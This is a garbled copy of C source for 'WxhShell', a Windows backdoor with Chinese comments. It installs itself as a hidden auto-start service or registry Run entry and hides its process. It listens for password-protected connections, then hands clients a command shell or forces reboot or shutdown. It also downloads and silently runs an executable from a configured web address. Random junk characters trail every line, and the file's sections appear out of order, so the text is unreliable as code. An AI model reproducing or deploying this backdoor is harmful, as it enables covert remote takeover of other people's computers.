    if(Boot(SHUTDOWN)) 2O>iAzc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $5O&[/L  
    else { |zlwPi.  
    closesocket(wsh); kXRD_B5&  
    ExitThread(0); ^2tCDm5  
    } r]{:{Z  
    break; \t3i9#Q  
    } ]F! ,Jx  
  // 获取shell KDk^)zv%!  
  case 's': { C5FtJquGN)  
    CmdShell(wsh); LdV_7)  
    closesocket(wsh); SY.V_O$l }  
    ExitThread(0); Fx2&ji6u  
    break; (>'d`^kjk  
  } [;+YO)  
  // 退出 H6QQ<~_&  
  case 'x': { b9Nw98`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aQuENsB  
    CloseIt(wsh); 6|x<) Gc  
    break; uv4jbg}Z+3  
    } r\?*?sL  
  // 离开 M_DkjuR  
  case 'q': { bK7DGw`1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LE"xZxe  
    closesocket(wsh); ?/D#ql7  
    WSACleanup(); mJHX  
    exit(1); =Vfj#WL  
    break; z;)% i f6  
        } ?*HlAVDcFT  
  } mj pH)6aD0  
  } dBkB9nz  
C" {j0X`  
  // 提示信息 *niQ*A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gxiJ`. D=  
} e3.TGv7=  
  } G(L*8U< UG  
HD|5:fAqA  
  return; #HML=qK~  
} $k dfY'u  
Ek:u[Uw\  
// shell模块句柄 =0A{z#6  
int CmdShell(SOCKET sock) q\\J9`Q$J  
{ mmi~A<  
STARTUPINFO si; K)n(U9#  
ZeroMemory(&si,sizeof(si)); =e63>*M|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,b/0_Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a^N/N5-Z  
PROCESS_INFORMATION ProcessInfo; [Z1EjeX  
char cmdline[]="cmd"; t{ 'QMX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9Rpj&0Is  
  return 0; m@~HHwj  
} /*[a>B4-q  
V6c?aZ,O  
// 自身启动模式 #RcmO **  
int StartFromService(void) q /#O :Q  
{ $O[ut.   
typedef struct ( %bfNs|  
{ RZ -w,~  
  DWORD ExitStatus; 6eb5q/  
  DWORD PebBaseAddress; 7}xKiHh:  
  DWORD AffinityMask; 3|C"F-'<  
  DWORD BasePriority; K_xn>  
  ULONG UniqueProcessId; CZ @M~Si_  
  ULONG InheritedFromUniqueProcessId; oR~+s &c  
}   PROCESS_BASIC_INFORMATION; jRGG5w}  
yy9Bd>  
PROCNTQSIP NtQueryInformationProcess; l{ k   
|Q$C%7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gpPktp2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /c09-$M  
(7"qT^s3  
  HANDLE             hProcess; ='s2S5#1  
  PROCESS_BASIC_INFORMATION pbi; &" b0`&l  
x9uA@$l^|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0FXM4YcrJO  
  if(NULL == hInst ) return 0; *H;&hq  
Z:'2pu U+?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;$Wa=wHb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L&eO?I=,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H94$Xi"Bd  
4}gwMjU-B  
  if (!NtQueryInformationProcess) return 0; am`eist:  
"5{\0CfS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9~N7hLT  
  if(!hProcess) return 0; -cG?lEh <  
a"~W1|JC"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |ek*wo  
VGTo$RH  
  CloseHandle(hProcess); sH6srwI  
B^eea[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t#kmtJC  
if(hProcess==NULL) return 0; |s|RJA1  
guBOR 0x`  
HMODULE hMod; YV0e)bf  
char procName[255]; !zD| @sX{  
unsigned long cbNeeded; U; ev3  
P||u{]vU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d`^j\b>5(  
}P^{\SDX  
  CloseHandle(hProcess); H.'_NCF&;L  
Lc+)#9*d  
if(strstr(procName,"services")) return 1; // 以服务启动 iTD{  
gJ2R(YMF  
  return 0; // 注册表启动 RL($h4d9  
} G$ipWi  
)5&Wt@7Kj`  
// 主模块 >4bOM@[]  
int StartWxhshell(LPSTR lpCmdLine) !iITX,'8  
{ n_iq85  
  SOCKET wsl; x}72jJe`  
BOOL val=TRUE; wtMS<$  
  int port=0; !! #\P7P  
  struct sockaddr_in door; 8iq~ha$]|  
jt?R a1Z  
  if(wscfg.ws_autoins) Install(); z^ ~fVl  
 Zuwd(q  
port=atoi(lpCmdLine); BC&Et62*  
g~N)~]0{  
if(port<=0) port=wscfg.ws_port; ~KEnZa0  
U edh4qa  
  WSADATA data; B f[D&O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GMd81@7  
#~nI^ ggW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vrh}X[JEw'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <PXA`]x~  
  door.sin_family = AF_INET; g`\Vy4w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MwXgaSV  
  door.sin_port = htons(port); yv,90+k  
))u$j4 V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?DM-C5$  
closesocket(wsl); <[b\V+M  
return 1; 0s= GM|y  
} .3oFSc`q  
HH8a"Hq)  
  if(listen(wsl,2) == INVALID_SOCKET) { 3)I v8mA  
closesocket(wsl); lYU_uFOs\  
return 1; /9W-;l{=z  
} vBq 2JJAl  
  Wxhshell(wsl); .GLotc  
  WSACleanup(); v||8Q\d  
;<MHDm D  
return 0; DS-Kot(k(z  
amgYr$)m  
} QfRt3\^`  
v:<u0B-)$  
// 以NT服务方式启动 (~,Q-w"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8V.x%T  
{ d(42ob.Tr  
DWORD   status = 0; GXJJOy1"!  
  DWORD   specificError = 0xfffffff; zLC\Rc4  
&&TQ0w&T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @I #@%"AW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MX6;ww  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T<?JL.8g_  
  serviceStatus.dwWin32ExitCode     = 0; *}A J7]  
  serviceStatus.dwServiceSpecificExitCode = 0; WZ;f3 "  
  serviceStatus.dwCheckPoint       = 0; E.4`aJ@>d  
  serviceStatus.dwWaitHint       = 0; ]hN%~ ~$>  
o1-Zh!*a*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <JDkvpckx.  
  if (hServiceStatusHandle==0) return;  ,`)!K}2  
Sh}AGNE'  
status = GetLastError(); GYyP+7K4l[  
  if (status!=NO_ERROR) r4D6g>)h1q  
{ l^WFMeMD3a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xsV(xk4  
    serviceStatus.dwCheckPoint       = 0; $yHlkd`Y  
    serviceStatus.dwWaitHint       = 0; s0qA8`Yu  
    serviceStatus.dwWin32ExitCode     = status; 2y v'DS  
    serviceStatus.dwServiceSpecificExitCode = specificError; mf^(Tq[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p8Ts5n  
    return; n"-cX)  
  } ; Rt?&&W  
Skq%S`1%Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ri"3o  
  serviceStatus.dwCheckPoint       = 0; z9u"?vdA  
  serviceStatus.dwWaitHint       = 0; XM>ByfD{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \<]nv}1O  
} 4Ts5*_  
83Bp_K2\  
// 处理NT服务事件,比如:启动、停止 e(,sFhR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r8}GiP0|  
{ RWz^ MV5K  
switch(fdwControl) l%rwJLN1  
{ WdnCRFO?l  
case SERVICE_CONTROL_STOP: jun>(7  
  serviceStatus.dwWin32ExitCode = 0; V2V^*9(wu@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2_R' Kl![  
  serviceStatus.dwCheckPoint   = 0; 8 U B?X  
  serviceStatus.dwWaitHint     = 0; 9Psy$  
  { $ GL$ iA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P}KyT?X:  
  } #xNLr   
  return; bWW$_S pr  
case SERVICE_CONTROL_PAUSE: "P~0 7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F]q pDv  
  break; ]o6Or,ml  
case SERVICE_CONTROL_CONTINUE: W]4Gs;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #-+!t<\  
  break; 6dt]$  
case SERVICE_CONTROL_INTERROGATE: 1aS[e%9Mg  
  break; Bh$ hgf.C  
}; QNj hA'[T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vY0C(jK  
} mJe;BU"y]  
6C@,&2<yK  
// 标准应用程序主函数 g N76  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8gwJ%"-K  
{  5 fY\0  
JYB"\VV  
// 获取操作系统版本 N+%E=D>  
OsIsNt=GetOsVer(); :=WiT_M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RO"c+|Py  
E:/G!1  
  // 从命令行安装 ZnSDq_Uk  
  if(strpbrk(lpCmdLine,"iI")) Install(); VZB T'N  
H'|b$rP0@  
  // 下载执行文件 %SuEfCM  
if(wscfg.ws_downexe) { :fz&)e9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) awLN>KI]</  
  WinExec(wscfg.ws_filenam,SW_HIDE); fr kDf-P  
} Sd/?xyF1(  
d~@&*1}  
if(!OsIsNt) { -jy- KC  
// 如果时win9x,隐藏进程并且设置为注册表启动 .^j6  
HideProc(); X-&t!0O4}`  
StartWxhshell(lpCmdLine); m"*j J.MX  
} |fnP@k  
else >ly`1t1  
  if(StartFromService()) }la\?I  
  // 以服务方式启动 {E`[ `Kf  
  StartServiceCtrlDispatcher(DispatchTable); m?bd6'&FR  
else YSERQo  
  // 普通方式启动 WtOpxAq  
  StartWxhshell(lpCmdLine); Mqc"  
!i=LQUi.  
return 0; !dQG 5v  
} Y-\/Y*;cd  
5q?2?j/h  
))f%3_H  
Si#I^aF`%  
=========================================== C5oslP/@  
R&}"En`$s  
1sp>UBG  
G?$|aQ0j  
ParOWs~W/  
[r,a0s  
" 6\>S%S2:  
[iVCorU  
#include <stdio.h>  pleLdGq  
#include <string.h> 6[fpe  
#include <windows.h> _h|rH   
#include <winsock2.h> /Y$UJt  
#include <winsvc.h> .?{rd3[ec  
#include <urlmon.h> ^uB9EP*P  
IB9[Lx  
#pragma comment (lib, "Ws2_32.lib") 'p<lfT  
#pragma comment (lib, "urlmon.lib") (B|4wR\  
w#]> Nf  
#define MAX_USER   100 // 最大客户端连接数 tPu0r],`o  
#define BUF_SOCK   200 // sock buffer '<! b}1w0  
#define KEY_BUFF   255 // 输入 buffer _IzJxAcJ  
m(MPVY<X  
#define REBOOT     0   // 重启 gc``z9@Xg  
#define SHUTDOWN   1   // 关机 ?d@3y<A,~  
#ra"(/)  
#define DEF_PORT   5000 // 监听端口 $n_'# m2LE  
O.61-rp  
#define REG_LEN     16   // 注册表键长度 $HVus=D"  
#define SVC_LEN     80   // NT服务名长度 ~uqpF-.  
WAr;g?Q8  
// 从dll定义API t^eWFX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X(s HFVU+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Hy4c{Ij  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kA3nhBH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :`('lrq  
MmUtBT  
// wxhshell配置信息 vv='.R, D  
struct WSCFG { =!}n .  
  int ws_port;         // 监听端口 Uedzt  
  char ws_passstr[REG_LEN]; // 口令 &o{=  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~ *:{U   
  char ws_regname[REG_LEN]; // 注册表键名 nnr g^F  
  char ws_svcname[REG_LEN]; // 服务名 `/]Th&(5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #p'Xq }]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [O)(0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g\9I&z~?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _dQVundH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mocR_3=Q?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CjtBQ5  
<1")JDW  
}; },r30`)Q  
:cDhqBMNr`  
// default Wxhshell configuration n~~0iU )  
struct WSCFG wscfg={DEF_PORT, +?"N5%a%F  
    "xuhuanlingzhe", .Up\ 0|b  
    1, ^{z@=o<o  
    "Wxhshell", VI83 3  
    "Wxhshell", 9A|deETa-  
            "WxhShell Service", 5:3%RTLG  
    "Wrsky Windows CmdShell Service", M0Eq 7:Ba  
    "Please Input Your Password: ", =Xwr*FTr  
  1, tE&@U$0>o  
  "http://www.wrsky.com/wxhshell.exe", k^A17Nf`2  
  "Wxhshell.exe" 5R^e  
    }; ~W?F.  
ZR|)+W;  
// 消息定义模块 D,cGW,2Nv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rHS;wT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >lyX";X#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +{b!,D3sa*  
char *msg_ws_ext="\n\rExit."; Vz=ByyC  
char *msg_ws_end="\n\rQuit."; syuW>Z8s  
char *msg_ws_boot="\n\rReboot..."; vTrjhTa\  
char *msg_ws_poff="\n\rShutdown..."; Cs2hi,s  
char *msg_ws_down="\n\rSave to "; t(<^of:  
CcF$?07 i  
char *msg_ws_err="\n\rErr!"; R^_7B(  
char *msg_ws_ok="\n\rOK!"; x#wkODLqi  
*t_"]v-w  
char ExeFile[MAX_PATH]; fY)Dx c&ue  
int nUser = 0; _e2=BE`W)  
HANDLE handles[MAX_USER]; qG=?+em  
int OsIsNt; d! BQ%a  
J<p.J3I  
SERVICE_STATUS       serviceStatus; *$U+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _G$SA-W(  
zWN/>~}U \  
// 函数声明 CV9o,rL  
int Install(void); s& INcjC  
int Uninstall(void); [ " n+2;  
int DownloadFile(char *sURL, SOCKET wsh); M @|n"(P  
int Boot(int flag); _J|TCm  
void HideProc(void); QNH-b9u>8  
int GetOsVer(void); dA)JR"r2  
int Wxhshell(SOCKET wsl); U9?fUS  
void TalkWithClient(void *cs); |2i=oX(r|  
int CmdShell(SOCKET sock); JbV\eE#KrC  
int StartFromService(void); ]lT8Z-h@  
int StartWxhshell(LPSTR lpCmdLine); S JseP_-  
gD13(G98  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uX.^zg]}%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e8WuAI86  
b" Z$?5  
// 数据结构和表定义 RA%=_wPD +  
SERVICE_TABLE_ENTRY DispatchTable[] = :i{Svb*_'  
{ >i6sJ)2?>  
{wscfg.ws_svcname, NTServiceMain}, l**gM  
{NULL, NULL} k-:wM`C  
}; q <, b  
11'^JmKA  
// 自我安装 J AQ y  
int Install(void) d8)ps,  
{ p`dH4y]D  
  char svExeFile[MAX_PATH]; `u<\ 4&W  
  HKEY key; G_vcuCHm  
  strcpy(svExeFile,ExeFile); _1c0pQ^}3  
?S*Cvr+=4  
// 如果是win9x系统,修改注册表设为自启动 #[ H4`hZ  
if(!OsIsNt) { Nldy76|g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Po)!vL"   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mp !S<m  
  RegCloseKey(key); ab}Kt($  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p\'0m0*   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 vp*U  
  RegCloseKey(key); 2bs={p$}a  
  return 0; 1BjMVMH  
    } VRb+-T7"  
  } Jbv[Ql#  
} X7bS{GT  
else { rexNsKRK_  
A_y]6~Mu?~  
// 如果是NT以上系统,安装为系统服务 $_ BoG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y6hb-: #1  
if (schSCManager!=0) o]@Mg5(8Q  
{ < dD)>Y.  
  SC_HANDLE schService = CreateService cXd?48O  
  ( {^T_m)|n  
  schSCManager, L0Ycf|[s,  
  wscfg.ws_svcname, *el~sor;S  
  wscfg.ws_svcdisp, NimW=X;c  
  SERVICE_ALL_ACCESS, nOCCOTf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^vY[d]R _\  
  SERVICE_AUTO_START, 61@;3yV  
  SERVICE_ERROR_NORMAL, lz [s  
  svExeFile, }e K.\_t=  
  NULL, xU!eT'Y  
  NULL, mm:g9j  
  NULL, r$cq2pkX  
  NULL, ~PtIq.BY  
  NULL c-y`Hm2"  
  ); z[sP/{~z  
  if (schService!=0) k9_c<TSzu  
  { ~-tKMc).X  
  CloseServiceHandle(schService); lDX\"Fq  
  CloseServiceHandle(schSCManager); _/5#A+ ?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SjL&\),  
  strcat(svExeFile,wscfg.ws_svcname); ?/1Eu47  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (MGYX_rD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EY^+ N>  
  RegCloseKey(key); 1=Z, #r  
  return 0; rizWaw5E!8  
    } 0,]m.)ws  
  } f.G"[p  
  CloseServiceHandle(schSCManager); 6%B)  
} ):-Ub4A\  
} *A ([1l&]i  
wj2z?0}o  
return 1; ;i,3KJ[L  
} >3?p23|;  
.Y5o&at6s  
// 自我卸载 EXEB A&*  
int Uninstall(void) GWa:C\YK  
{ G -V~6  
  HKEY key; >pm`(zLn  
sW&5Mu-  
if(!OsIsNt) { #GuN.`__n,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \~> .NH-  
  RegDeleteValue(key,wscfg.ws_regname); 80%L!x|  
  RegCloseKey(key); 2_Gb K-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { isU4D  
  RegDeleteValue(key,wscfg.ws_regname); (b8ZADI*  
  RegCloseKey(key); w2) @o >w  
  return 0; )dfwYS*[n  
  } P$zhMnAAN  
} uE,g|51H/  
} )?{jD  
else { %+iAL<S  
{u[_^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7d^ ~.F  
if (schSCManager!=0) 2QgD<  
{ 8l*h\p:Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k`B S{,=  
  if (schService!=0) d*_rJE}B  
  {  joBS{]  
  if(DeleteService(schService)!=0) { )%09j0y>l"  
  CloseServiceHandle(schService); #A&49a3^1  
  CloseServiceHandle(schSCManager); <DN7  
  return 0;  }=d}q *  
  } cHC4Y&&uZ  
  CloseServiceHandle(schService); mLfY^&2Pr  
  } \U>|^$4 #5  
  CloseServiceHandle(schSCManager); G_`Ae%'h  
} |RL\2j|  
} ,WBKN)%u  
iGN6'm`  
return 1; EE-wi@  
} phR:=Ox|1  
89j*uT  
// 从指定url下载文件 trZU_eouI  
int DownloadFile(char *sURL, SOCKET wsh) `<-/e%8  
{ <k 'zz:[c!  
  HRESULT hr; 4BZ7R,m#.  
char seps[]= "/"; [r1dgwh8  
char *token; +~"(Wooi  
char *file; 1&RB=7.h  
char myURL[MAX_PATH];  Vqr]Ui  
char myFILE[MAX_PATH]; ar _@"+tZ  
jLn|zK  
strcpy(myURL,sURL); !JtM`x/yR  
  token=strtok(myURL,seps); B,] AfH  
  while(token!=NULL) J7HY(7Nx  
  { yO` |X  
    file=token; vxS4YRb  
  token=strtok(NULL,seps); A 8g_BLj!e  
  } *M.,Yoj  
.{-X1tJ7  
GetCurrentDirectory(MAX_PATH,myFILE); J:@yG1VIp  
strcat(myFILE, "\\"); b94+GL U8b  
strcat(myFILE, file); 4K ]*bF44  
  send(wsh,myFILE,strlen(myFILE),0); &eb8k2S  
send(wsh,"...",3,0); OC)=KV@KE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^<_rE-k  
  if(hr==S_OK) #jsN  
return 0; 4X!4S6JfB  
else xo4lM  
return 1; RKZBI?@4  
fmD~f  
} qcC(#0A>  
"ruYMSpU  
// 系统电源模块 _ ^'QHWP  
int Boot(int flag) nd$92H  
{ uw/N`u  
  HANDLE hToken; UXh%DOq   
  TOKEN_PRIVILEGES tkp; "MK2QIo  
%{rPA3Xoy  
  if(OsIsNt) { @urZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SAdo9m'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t|s(V-Wq  
    tkp.PrivilegeCount = 1; zG{jRth  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W.%p{wB |  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {Us^ 4Xe  
if(flag==REBOOT) { B@S~v+Gr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |bhv7(_  
  return 0; YkE_7r(1  
} #^yOW^  
else { 4|\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x$t2Y<_  
  return 0; L)4~:f)B  
} @t0T+T3  
  } |Qcj +HH.  
  else { &8yGV i  
if(flag==REBOOT) { "G,,:H9v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X,Rl&K\b"  
  return 0; #;5Q d'  
} hk$I-  
else { O hRf&5u$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g7^|(!Y%  
  return 0; !D?(}nag  
} YQtq?&0Ct  
} 22;B:  
+o'xyR'(  
return 1; fwmXIpteK  
} o5sw]R5  
uF1&m5^W  
// win9x进程隐藏模块 L8H:, } 2  
void HideProc(void) ^>>9?  
{ IuA4eDr^Y%  
mU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "shX~zd5  
  if ( hKernel != NULL ) $|7=$~y  
  { Pt cq/f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cr|]\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,0ilNi>  
    FreeLibrary(hKernel); 9HPmJ`b  
  } @t@B(1T  
X y`2ux+>/  
return; )v*k\:Hw  
} [La}h2gz  
x%9Ca)r?}  
// 获取操作系统版本 q@~{ g[   
int GetOsVer(void) 4P=1)t?tX  
{ wc~s:  
  OSVERSIONINFO winfo; )MLbE-@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z@o6[g/*Q  
  GetVersionEx(&winfo); VbMud]40F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,grx'to(X  
  return 1; PkZ1Db  
  else lrwQ >N  
  return 0; y\(xYB>T  
} n%G[Y^^,  
tw =A] a*  
// 客户端句柄模块 n*' :,m  
int Wxhshell(SOCKET wsl) D!#B*[|  
{ UjLq[,_!  
  SOCKET wsh; BOR$R}q  
  struct sockaddr_in client; -;ra(L`  
  DWORD myID; r}sO},i  
?'|GGtvm  
  while(nUser<MAX_USER) c HR*.  
{ E.sZjo1  
  int nSize=sizeof(client); -q[x"Ha%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mxBx?xM-  
  if(wsh==INVALID_SOCKET) return 1; O!hp=`B,jf  
sZxTsUW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e=p_qhBt  
if(handles[nUser]==0) N 3O!8A_  
  closesocket(wsh); _?y3&4N)  
else |Kjfh};-C  
  nUser++; 8B-mZFXpK  
  } n7Bv~?DM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mF!4*k  
%Tu(>vnuj  
  return 0; !.MbPPNp  
} a&2x;diF  
EYZ&%.Sy5  
// 关闭 socket OwPHp&{ Y  
void CloseIt(SOCKET wsh) +-SO}P  
{ ;($xAAR  
closesocket(wsh); W8u&5#$I  
nUser--; `8#xO{B1  
ExitThread(0); (3Xs  
} "PWGtM:L8Y  
| oM`  
// 客户端请求句柄 ^'du@XCf}  
void TalkWithClient(void *cs) X[dH*PV  
{ ePl+ M  
^c9_F9N  
  SOCKET wsh=(SOCKET)cs; #`U?,>2q  
  char pwd[SVC_LEN]; s]`6u yW"  
  char cmd[KEY_BUFF]; #`= >Mza  
char chr[1]; trjeGSt&  
int i,j; ( xzruI5P  
Zn40NKYc  
  while (nUser < MAX_USER) { E BoC,{R#  
w S?Kc^2O  
if(wscfg.ws_passstr) { Mae2L2vc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z.\\m;s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e]ST0J"  
  //ZeroMemory(pwd,KEY_BUFF); vN@04a\h  
      i=0; VKu_ l  
  while(i<SVC_LEN) { ubsv\[:C  
=B'Yx  
  // 设置超时 s!yD%zO  
  fd_set FdRead; }weE^9GiJ  
  struct timeval TimeOut; [AFGh L+t3  
  FD_ZERO(&FdRead); d!Ws-kzE  
  FD_SET(wsh,&FdRead); Y#-c<o}f  
  TimeOut.tv_sec=8; `('Up?  
  TimeOut.tv_usec=0; Au/'|%2#(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \>EUa}%xn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P,F5Hf  
F.(e}EMyNh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n!~QC  
  pwd=chr[0]; J|o<;9dg1  
  if(chr[0]==0xd || chr[0]==0xa) { KyDd( 'i  
  pwd=0; q3-cWfU  
  break; }TuMMO4+  
  } 1rue+GL  
  i++; CN-4FI)1D9  
    } ;Z;` BGZJ  
cFJZ|Ld  
  // 如果是非法用户,关闭 socket rW~G'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,If"4C!w  
} B VH)!]m0  
qX6zk0I a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VC Ay~,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tBwPB#:W  
DAtAc(05)  
while(1) { wa&:86~l?  
-cZuP7oA  
  ZeroMemory(cmd,KEY_BUFF); z5<&}Vh;P  
%wu,c e]*  
      // 自动支持客户端 telnet标准   ;F71f#iY  
  j=0; 9WQ'"wyAQ  
  while(j<KEY_BUFF) { ~j!|(a7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6 W$m,3Dg  
  cmd[j]=chr[0]; c^&:':Z%'  
  if(chr[0]==0xa || chr[0]==0xd) { \Km+>G  
  cmd[j]=0; 7<2?NLE8*  
  break; eCg|@d%D  
  } lD _iIe~c  
  j++; l#w0-n%S  
    } ogdAJw6 9  
3z#fFP@E  
  // 下载文件 eSMno_Gt3  
  if(strstr(cmd,"http://")) { ^;\6ju2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z|S4\Ae  
  if(DownloadFile(cmd,wsh)) 7-9HCP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (\%+id|/q@  
  else lfw BUb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v"J|Ebx  
  } IWhe N  
  else { gKPqU@$*  
Zyz)`>cB  
    switch(cmd[0]) { iq 8Hq)I]  
   f|yq~3x)  
  // 帮助 3zM>2)T-  
